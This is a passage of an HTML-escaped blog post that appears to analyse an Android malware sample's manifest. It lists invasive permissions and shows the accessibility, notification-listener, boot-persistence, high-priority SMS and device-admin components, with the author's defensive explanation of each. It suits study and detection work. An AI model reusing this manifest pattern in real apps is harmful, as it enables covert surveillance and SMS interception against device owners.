&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.MODIFY_AUDIO_SETTINGS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.VIBRATE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.WRITE_SETTINGS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.WRITE_SECURE_SETTINGS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.SET_PROCESS_LIMIT&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.INSTALL_PACKAGES&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.RESTART_PACKAGES&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.DELETE_PACKAGES&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.REQUEST_INSTALL_PACKAGES&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.QUERY_ALL_PACKAGES&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.START_ACTIVITIES_FROM_BACKGROUND&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.GET_TASKS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.PACKAGE_USAGE_STATS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.ACCESS_SURFACE_FLINGER&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.READ_FRAME_BUFFER&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.MANAGE_DEVICE_ADMINS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.INTERACT_ACROSS_USERS&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:protectionLevel=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;signature&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.INTERACT_ACROSS_USERS_FULL&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:protectionLevel=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;signature&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;oppo.permission.OPPO_COMPONENT_SAFE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;com.huawei.permission.external_app_settings.USE_COMPONENT&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.monitor.permission.ANDROID_MONITOR_CHECKER&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The application requests a ton of permissions. For more information about each permission requested refer to the &lt;a href="https://developer.android.com/reference/android/Manifest.permission">documentation&lt;/a>.&lt;/p>
&lt;p>Below I will analyze some of them.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;code>android.permission.RECEIVE_BOOT_COMPLETED&lt;/code>
Allows the app to have itself started as soon as the system has finished booting.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>android.permission.RECEIVE_SMS&lt;/code>
Allows the app to receive and process SMS messages. This means the app could monitor or delete messages sent to your device without showing them to you.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>android.permission.READ_LOGS&lt;/code>
Allows the app to read from the system&amp;rsquo;s various log files. This allows it to discover general information about what you are doing with the phone, potentially including personal or private information.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>android.permission.ACCESS_FINE_LOCATION&lt;/code>
Allows the app to get your precise location using the Global Positioning System (GPS) or network location sources such as cell towers and Wi-Fi.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>android.permission.INTERNET&lt;/code>
Allows the app to create network sockets and use custom network protocols.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>android.permission.READ_EXTERNAL_STORAGE&lt;/code>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>android.permission.WRITE_EXTERNAL_STORAGE&lt;/code>
Allows the app to read and write to the SD card.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>android.permission.REQUEST_INSTALL_PACKAGES&lt;/code>
Allows an application to request installing packages.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>android.permission.RECORD_AUDIO&lt;/code>
Allows an application to record audio.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>android.permission.WRITE_SECURE_SETTINGS&lt;/code>
Allows the app to modify the system&amp;rsquo;s secure settings data.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>android.permission.WAKE_LOCK&lt;/code>
Allows the app to prevent the phone from going to sleep.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>android.permission.QUERY_ALL_PACKAGES&lt;/code>
Allows query of any normal app on the device, regardless of manifest declarations.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>android.permission.MANAGE_DEVICE_ADMINS&lt;/code>
Required to add or remove another application as a device admin.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>Note: When an Android application is installed, it is assignned a unique UID. If additional permissions granted to the application, they are assigned as supplementary GIDs to the process. For example, an application that asks for &lt;code>INTERNET&lt;/code> permission, is added to the &lt;code>inet&lt;/code> group.&lt;/p>
&lt;/blockquote>
&lt;h4 id="mainactivity">MainActivity&lt;/h4>
&lt;p>We locate the main activity, which is launched when the user clicks on the application:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;activity&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:theme=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;@android:style/Theme.Translucent.NoTitleBar&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;cihb.hhsey.VaxdhkzowyXbmy&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;action&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.intent.action.MAIN&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;category&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.intent.category.LAUNCHER&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;/intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;/activity&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="services">Services&lt;/h4>
&lt;blockquote>
&lt;p>A service is a component that runs in the background and has no user interface. Services are typically used to perform some long-running operation, such as downloading a file or playing music, without blocking the user interface.&lt;/p>
&lt;/blockquote>
&lt;ul>
&lt;li>The &lt;code>android:name&lt;/code> attribute specifies the class name of the service.&lt;/li>
&lt;li>Due to &lt;code>exported=&amp;quot;true&amp;quot;&lt;/code> it allows other applications to start the service.&lt;/li>
&lt;li>A service runs in the same process as the application in which it is declared and in the main thread of that application by default.&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;service&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;cihb.hhsey.Exttjdmeaifyx&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:enabled=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:exported=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:foregroundServiceType=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;microphone|camera|location&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;action&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;com.program.intent.android.monitor.service&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;/intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;/service&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>NotificationListener&lt;/strong>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;service&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:label=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;@string/app_name&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;cihb.hhsey.Disuif&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:permission=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.BIND_NOTIFICATION_LISTENER_SERVICE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;action&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.service.notification.NotificationListenerService&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;/intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;/service&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>Accessibility Service&lt;/strong>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;service&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;cihb.hhsey.qnBoHD1Wg&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:permission=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.BIND_ACCESSIBILITY_SERVICE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;action&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.accessibilityservice.AccessibilityService&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;/intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;meta-data&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.accessibilityservice&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:resource=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;@xml/accessibilityservice&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;/service&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In &lt;code>res/xml/accessibilityservice.xml&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;accessibility-service&lt;/span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:description=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;@string/accessibility_service_description&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:accessibilityEventTypes=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;typeAllMask&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:accessibilityFeedbackType=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;feedbackAllMask&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:notificationTimeout=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;70&amp;#34;&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">android:accessibilityFlags=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;flagRetrieveInteractiveWindows|flagRequestFilterKeyEvents|flagReportViewIds|flagRequestEnhancedWebAccessibility|flagIncludeNotImportantViews|flagDefault&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:canRetrieveWindowContent=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="broadcast-receivers">Broadcast Receivers&lt;/h4>
&lt;blockquote>
&lt;p>A broadcast receiver is a component that responds to systemwide events, called broadcasts. Broadcasts can originate from the system or from a user application.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Reboot&lt;/strong>&lt;/p>
&lt;p>This is a mechanism used by the malware for persistence. The intent &lt;code>BOOT_COMPLETED&lt;/code> is broadcasted after the Android OS has been loaded. The malware, will receive the intent which will invoke the &lt;code>onReceive()&lt;/code> callback of &lt;code>cihb.hhsey.wxpdtZoEujRNL&lt;/code> class.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;receiver&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;cihb.hhsey.wxpdtZoEujRNL&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:enabled=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:exported=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;action&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.intent.action.BOOT_COMPLETED&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;action&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.intent.action.QUICKBOOT_POWERON&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;action&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;com.htc.intent.action.QUICKBOOT_POWERON&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;action&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.intent.action.REBOOT&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;category&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.intent.category.DEFAULT&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;/intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;/receiver&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>SMS&lt;/strong>&lt;/p>
&lt;p>It is common to see malware abuse the &lt;code>priority&lt;/code> attribute in order to get prioritized in the order of receiving the broadcast intent from the system. In this case, it needs to sniff all incoming SMS.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;receiver&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;cihb.hhsey.SmsReceiver&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:enabled=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:exported=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;intent-filter&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:priority=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;2147483647&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;action&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.provider.Telephony.SMS_RECEIVED&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;/intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;/receiver&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>Device Admin&lt;/strong>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;receiver&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;cihb.hhsey.mtxbbpn7&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:permission=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.BIND_DEVICE_ADMIN&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;meta-data&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.app.device_admin&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:resource=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;@xml/device_admin&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;action&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.app.action.DEVICE_ADMIN_ENABLED&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
